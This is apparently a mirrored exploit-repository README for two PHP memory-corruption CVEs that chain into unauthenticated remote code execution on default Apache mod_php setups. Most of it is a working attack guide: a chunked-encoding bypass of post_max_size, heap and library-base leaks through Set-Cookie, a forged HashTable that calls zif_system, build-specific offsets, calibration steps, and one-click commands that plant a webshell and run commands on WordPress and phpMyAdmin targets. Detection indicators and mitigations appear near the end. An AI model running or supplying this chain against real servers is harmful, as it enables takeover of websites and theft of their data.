Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 22, 2026

> **One-click exploit with default configuration**: `python3 exp/exp_auto.py -u

> Target: Apache **mod_php** + Unpatched PHP (Configuration: `memory_limit=128M`, `post_max_size=8M`, `upload_max_filesize=2M`, `session.upload_progress=On` —— * *All PHP settings are factory defaults; no ini file modifications**

> Applicable to: **Any** PHP page that accepts POST requests (no authentication, no `session_start`, no `unserialize`, no LFI)

Successfully tested in the following environments (`uid=33 (www-data)`):

| Application | Version | Worker | Result |

| WordPress | 7.1.3 | 6 (default scale) | ✅ RCE |

| phpMyAdmin | Official mirror webroot | 5–150 (Debian default) | ✅ RCE |

> Patches were released on **October 21, 2026** (8.2.35 / 8.3.36 / 8.4.27 / 8.5.12). This repository is intended solely for use in private environments and authorized testing.

CVE-2026-109618 and CVE-2026-109619 are two memory safety vulnerabilities in the PHP core (CVSS v4.0 9.2) . Their common characteristic is that: **when PHP encounters a fatal error (particularly an OOM) while processing a request, it leaves behind a corrupted internal state; subsequent requests or workers reuse this stale state, leading to memory leaks or corruption**.

In fact, the two are two halves of the same exploitation chain:

- **CVE-2026-109618** (RCE via OOM corruption) — responsible for “creating the hanging condition”

- **CVE-2026-109619** (RCE via stale global state) — responsible for “triggering the touch”

This article documents the **complete process—from the patch and public disclosure to independent reproduction and one-click RCE on default configurations**—including several points that were not clearly explained in publicly available materials but are crucial for actual exploitation:

1. **The OOM must occur during a huge allocation**—if it occurs during a small object (bin) allocation, it will corrupt the bin freelist metadata, causing subsequent requests to crash (`RIP = HT_MAX_SIZE`) rather than being controllable;

2. **`post_max_size` is the only obstacle**, and it can be completely bypassed using `Transfer-Encoding: chunked` (Apache does not pass the Content-Length to mod_php after decoding the chunks);

3. **For targets with multiple workers, simply use HTTP keep-alive**—A (OOM) and B (consumption) use the same TCP connection, they end up in the same prefork subprocess;

4. **Vector amplification** raises the single-command limit from 14 bytes to 79 bytes and provides a core dump calibration method based on the `htdata` offset.

## # 2.1 allocator bailout is not a return

When `memory_limit` is exhausted, PHP 8.x’s ZendMM does not “return NULL for the caller to handle,” but rather **`zend_bailout()` (i.e., `longjmp`) jumps out of the stack**:

/* Zend/zend_alloc.c (pre-patch, debug parameters omitted) */

static ZEND_COLD ZEND_NORETURN void zend_mm_safe_error(zend_mm_heap *heap,

const char *format, size_t limit, size_t size)

zend_error_noreturn(E_ERROR, format, limit, size);

zend_bailout(); /* ← longjmp, jumps out from inside emalloc() */

`zend_try` is `setjmp()`, and `zend_bailout()` is the corresponding `longjmp()`. This means: **the C function that is allocating memory will never return**, and the "release pointers / increment counters / partial initialization" are all left in place.

During the request startup phase (`php_request_startup()`), the POST body must be parsed, so:

php_hash_environment(); ← Multipart parsing occurs here; application code has not yet run

zend_activate_modules(); ← Normal module RINIT

If an OOM occurs during `php_hash_environment()`:

- `PG(modules_activated)` remains **false**

- The `if (PG(modules_activated)) zend_deactivate_modules();` statement in `php_request_shutdown()` is skipped → **RSHUTDOWN for extensions such as session is not executed**

- However, `shutdown_memory_manager()` **releases the entire request heap as usual**

- Apache mod_php **will always call `php_request_shutdown()`** (even if startup fails)

Result: **The worker remains alive, while `PS(id)` / `PS(http_session_vars)` point to the already-released request heap**.

The pattern pointed out by Calif in his public analysis is at a lower level, in `_zend_hash_str_add_or_update_i`:

p->key = zend_string_init(str, len, persistent); /* ← zend_bailout() may be called */

**The counter is incremented first, then the pointer is filled**. If `zend_string_init` triggers an OOM, the bucket has already been counted toward `nNumUsed` (visible to teardown), but `key`, `h`, and `val` have not been written. At the end of the request, `zend_array_destroy()` will iterate `nNumUsed` times based on `nNumUsed`:

for (p = ht->arData; p != ht->arData + ht->nNumUsed; p++) {

i_zval_ptr_dtor(&p->val); /* Consume the partially initialized val */

This is precisely the origin of `RIP = HT_MAX_SIZE (0x40000000)` in §5.3 of this repository— —**the teardown mistook an obsolete `nTableSize` slot for a `pDestructor` function pointer**.

The official patch removes `longjmp` from the allocator:

+static zend_always_inline zend_result zend_mm_check_limit(zend_mm_heap *heap, size_t add_size, ...)

+ if (UNEXPECTED(heap->limit real_size || add_size > heap->limit - heap->real_size)) {

+ if (!heap->fallible && add_size > heap->hard_limit - heap->real_size) {

+ zend_mm_hard_limit_error(heap, add_size); /* fprintf + _exit(137) */

+ zend_mm_delayed_error("Allowed memory size of %zu bytes exhausted ...");

+ return heap->fallible ? FAILURE : SUCCESS;

`memory_limit` becomes a **soft limit**: memory overflows are logged as a single pending error, and the C function returns with the complete structure; `UnwindExit` is not thrown until the VM checkpoint. The multipart parser checks for pending errors between parts and fields, clearing them first before allowing the SAPI to report a fatal error. Additionally, a hard limit `memory_hard_limit_percent` has been added (default: 200% of `memory_limit`, 128M → 256M); exceeding this limit results in an immediate `_exit(137)`.

- `main/rfc1867.c` — over 20 `ZEND_HAS_OOM()` checkpoints; only `Content-Disposition` and `Content-Type` are retained in the header

- `ext/session/session.c` — `php_session_rfc1867_update/cleanup` changed to "check for FAILURE before continuing," new `PS(in_rfc1867_update)`, pre-RINIT `php_rinit_session_globals()`, and "incomplete-classes-only" deserialization mode

The official advisory provides three paths for triggering a controllable OOM:

| **No Content-Length** | chunked / HTTP2; PHP only compares the **declared** CL with `post_max_size`; actual read volume is unrestricted |

| **Any number of PART headers** | The overhead per header on the PHP side is significantly greater than the actual bytes (approximately 4× amplification) |

| **Empty file upload + nested field names** | `filename=""` is not counted toward `max_file_uploads`, but PHP still creates 6 `$_FILES` entries for it; nested field names like `a[b][c].. .` causes each record to expand into dozens of HashTables/buckets/strings |

This repository primarily uses **Scenario 1 + large fields**: sending a field larger than `memory_limit` via chunked uploads.

### 3.2 Key Point: OOM Must Occur During `huge` Allocation

This is the easiest point to overlook—and the most critical—during the reproduction process.

- **Huge allocation** (greater than `ZEND_MM_MAX_SMALL_SIZE`, using `mmap`) fails → bin freelist remains intact → subsequent requests can reclaim memory cleanly → the process proceeds to a controlled state

- **bin allocation** (small objects) fails → partially initialized buckets remain in the bin page, and bin freelist metadata is corrupted → subsequent requests hit `RIP = HT_MAX_SIZE (0x40000000)` and **must crash**

Test criterion: Check `tried to allocate N bytes` in the OOM message

bin OOM: tried to allocate 20480 bytes ← 20KB, bad

huge OOM: tried to allocate 98566346 bytes ← 94MB, good

Therefore, the exploit parameters must satisfy:

huge_field > memory_limit (and placed at the very beginning of the request to avoid being truncated by `max_input_vars`)

### 3.3 Bypassing `post_max_size` with chunked encoding

`post_max_size` limits the **declared `Content-Length`**:

Transfer-Encoding: chunked → After Apache decodes the chunks, it does not pass the Content-Length to mod_php

→ SG(request_info).content_length is not included in the post_max comparison

→ A 134MB body passes unimpeded into the multipart parser

This is the technical basis for why “the attack works even with the default 128M/8M configuration”—**no changes to php.ini are required**.

The target page `` is sufficient; `session_start()` is never called. All attack traffic consists of standard multipart POST requests.

[A] 1,001 1B fields + PHPSESSID=\x00 + PHP_SESSION_UPLOAD_PROGRESS + one file part + a large field

→ Huge OOM during parsing → Startup failure → Worker survives but is in a dirty state

→ MULTIPART_EVENT_END → Session initialization → Consumes dirty state → Child process crashes

→ Apache forks a new child process, inheriting the same address space layout (copy-on-write)

`fork()` is a hard dependency for this step: the new child process’s libphp and heap mappings are identical to the old one, which is necessary for the subsequent stage’s memory leak to be effective.

### Stage 1 — Heap Leak (`Set-Cookie` Out-of-Bounds Read)

1) 1,001 fields trigger a `max_input_vars` warning → `headers_sent=1`

2) `PHPSESSID=\x00` → Generates a new session ID, `send_cookie=1`

3) A large field causes an OOM error within `php_session_initialize()` → `PS(http_session_vars)` / `PS(id)` become null

4) The request uses multipart buffering to reclaim that memory location

5) php_url_encode() treats the reclaimed memory as a live `zend_string`, resulting in an out-of-bounds read of the ZendMM chunk pointer

→ Written into `Set-Cookie: PHPSESSID=...`

Same technique, but this time the dangling `PS(id)` is located on a HashTable page: `ZSTR_LEN(PS (id))` reveals `nTableSize=16`, and the data area is exactly `nNextFreeElement | pDestructor`:

cookie: 10 00 00 00 00 00 00 00 | 60 1b 67 fe ff 7f 00 00

nTableSize = 16 | pDestructor = 0x7ffffe671b60

pDestructor − zval_ptr_dtor(0x65eb60) = libphp base = 0x7ffffe013000 ✔ Page-aligned

Here’s a criterion: **`(pDestructor & 0xFFF) == (dtor_offset & 0xFFF)` and the base is page-aligned**, otherwise it indicates the offset was incorrect (we’ve encountered this before: using `0x613C50` from a lab build instead of `0x65EB60` from the official mirror).

### Stage 3 — Forge a HashTable to Call `zif_system`

→ zval_ptr_dtor(PS(http_session_vars)) ← dangling reference

→ pDestructor(&bucket->val) ← = zif_system

Inline layout within the loader (232 bytes, ZendMM **bin-320**):

0x00 Fake HashTable: gc(rc=1, IS_ARRAY) | flags=0x10, nTableMask=-8

0x30 pDestructor = zif_system ← Endpoint

0x20~ Falsified execute_data (num_args=1, arg1 = htdata+0x80)

0x80 Fake zend_string: rc=1, IS_STRING_EX, len=

0x98 Command body (inline) ← Upper limit = 232 − 0x98 − 1 = 79 bytes

The `val` of `zend_string` is inlined (`ZSTR_VAL = ptr + 24`), so **the command must be squeezed into the same allocation block as the forged structure**—the command is as long as the carrier.

The upstream PoC uses a 167-byte carrier (bin-192) → command length capped at 14 bytes, including `cat This explains why publicly available PoCs all stop at 8M–32M: their lab settings have `post_max_size=64M`, but as soon as `memory_limit` is set to 64M or higher, `huge = limit + 6` exceeds `post_max_size` and is silently rejected, resulting in a `HEAP_LEAK_FAILED` error—which is completely indistinguishable from "chain not applicable."

The official `wordpress:latest` / `phpmyadmin` images use 5–150 workers by default. **A single worker is not required**; simply use HTTP keep-alive:

Same TCP connection → Same prefork child process → A (OOM) and B (consumer) are assigned to the same worker

Implementation Key Points (`exp/php2shell_core.py: PersistentTarget`):

1. The entire stage reuses the same socket (`Connection: keep-alive`)

2. **Body transmission must be fault-tolerant**: A worker may terminate the connection when it runs out of memory (OOM); `sendall` will raise a `ConnectionResetError`, which must be handled by continuing to read the response rather than crashing

3. **Use small chunks (256 KB)**: Sending large chunks is more likely to trigger an RST

Tested: Successful on WordPress with 6 workers and phpMyAdmin with 5–150 workers.

### 5.3 Failure Patterns (for determining the direction)

| `RIP = 0x40000000` crash, `tried to allocate 20480` | OOM occurred during bin allocation → Increase the `huge` field |

| `HEAP_LEAK_FAILED` consistently fails | `huge ≤ memory_limit`, or request rejected by `post_max_size` (use chunked), or not a single connection |

| `LIBPHP_LEAK_FAILED`, but cookie length is 16 | `dtor_offset` does not match this build |

| Stage 1/2 normal, Stage 3 repeatedly misses | `htdata_offset` does not match this build/host |

`htdata` is the offset of the fake HashTable within a ZendMM chunk. It **depends solely on the PHP build + carrier size + request structure** and is unrelated to `memory_limit`, ASLR, or restarts:

| php:8.4.26-apache + 232B container | **0x64018** |

| php:8.4.26-apache + 167B container (upstream) | 0x690D8 |

| Upstream lab build (Apache 2.4.68) + 167B | 0x6E0D8 |

### Core Dump Calibration Method (More Reliable Than gdb attach)

gdb attach freezes the worker, whereas the exploit itself requires killing the worker to trigger a rotation; a core dump is a natural snapshot taken at the moment of the crash and can be analyzed offline.

# 1) Embed a unique marker in the code (enabled when CALIB_MARKER=1, location 0xB0)

CALIB_MARKER=1 python3 exp_php2shell.py -u --huge-mb 134 \

--htdata-offset 0x690d8 -c 'id>/tmp/calib' # Intentionally use an incorrect offset to trigger a crash

# 2) Retrieve the core file (requires CoreDumpDirectory + ulimit -c unlimited)

# 3) the core file for the forged HashTable signature

# struct.pack(" Pitfall: Placing the marker at `0xB0` will overlap with the command region exceeding 46 bytes (`0x98+46 = 0xC6 > 0xB0`), causing the command to be silently overwritten—which appears as an "offset calculation error." Therefore, the marker is only enabled in calibration mode.

# WordPress target machine (application files taken from the official `wordpress:latest`; PHP base uses the unpatched 8.4.26)

docker compose -f lab/docker-compose-wp4626.yml up -d # → :18092

docker build -f lab/Dockerfile.pma -t pma-vuln:8.4.26

docker compose -f lab/docker-compose-pma.yml up -d # → :18093

- * *Do not include any custom php.ini** (keep the default 128M / 8M)

- Application files can be extracted from the official image: `docker run --rm app:latest sh -c 'tar cf - -C /var/www html' > web.tar`

- The official image now comes with **patched** PHP (8.3.36+), so you must switch to an unpatched PHP base image (`php:8.4.26-apache` / `php:8.3.35-apache`)

# Plant a webshell (automatically detects all parameters)

python3 exp/exp_auto.py -u

# Single command + automatic output retrieval (relative paths are written to the docroot; Apache’s cwd is the DocumentRoot)

python3 exp/exp_auto.py -u -c 'id;uname -a>r.txt'

# Any command of any length; output is included directly in the HTTP response

curl '

**Note: The output of `system()` will not appear in the response of the triggering request**—it executes during the request shutdown phase, long after the response has been sent. Therefore, in remote scenarios, rely on "writing to the webroot + retrieving via HTTP."

Command to drop a webshell (35 bytes, within the 79-byte limit):

> **Single quotes** must be used: double quotes cause sh to expand `$_GET` → `system([1])` → TypeError.

See [`exp/README.md`](exp/README.md) for complete parameters and troubleshooting.

- `PHP_SESSION_UPLOAD_PROGRESS` appears in access logs, sent to an endpoint that does not accept uploads

- Session file content under `session.save_path` contains `upload_progress_<?php`

- Abnormal PHP worker termination: `zend_mm_heap corrupted`, SIGABRT / SIGSEGV, Apache `AH00051`

- An abnormally long or non-32-bit hexadecimal `PHPSESSID` cookie appears in the response

- A single POST request carries an excessively large body (chunked, no `Content-Length`) and does not result in normal application behavior

1. **Upgrade**: 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 or higher, and restart all workers

2. If an immediate upgrade is not possible (as per official recommendations):

; CVE-2026-109618: Remove controllable OOM failures

memory_limit = -1 ; Use `php_admin_value`; applications cannot override this

Note that `memory_limit=-1` introduces the risk of "actual memory exhaustion"; **do not** use `RLIMIT_AS` / `RLIMIT_DATA`, as they follow the same `longjmp` path

3. Tighten front-end input validation: Limit the number of multipart parts, the number of headers per part, and request body size; applications that do not support uploads should reject `multipart/form-data` directly at the front end

4. Defense in depth: `session.use_only_cookies=On`, `session.use_strict_mode=On`, and standardize `session.serialize_handler`

- [GHSA-w8hw-w9fx-j79w] ( — CVE-2026-109618: RCE via OOM corruption

- [GHSA-6wmf-4rv5-p3rp]( — CVE-2026-109619: RCE via stale global state

- [PHP October 21, 2026 Security Release](

- [Wiz Research — PHP2Shell](

- [Calif.io — php2shell](

- [9bie/php2shell-bypass-aslr-exp]( — Upstream exploits (calibrated by 8M lab)

- This repository’s `docs/` directory — All proof-of-concept evidence (default configuration: RCE, vector amplification, phpMyAdmin, staged data, core analysis)

- Vulnerability discovery and coordinated disclosure: Wiz Research, Calif, OpenAI, PHP Security Team

- Upstream exploit and 8M lab calibration: 9bie

- Contributions to this repository: default configuration path (chunked bypass of `post_max_size`), huge-alloc OOM criteria, multi-worker keep-alive, payload amplification to 79 bytes + `htdata` core-dump calibration method, phpMyAdmin secondary verification

**For security testing in your own environment and within explicitly authorized scope only.** Users are responsible for their own actions.

Extracted Entities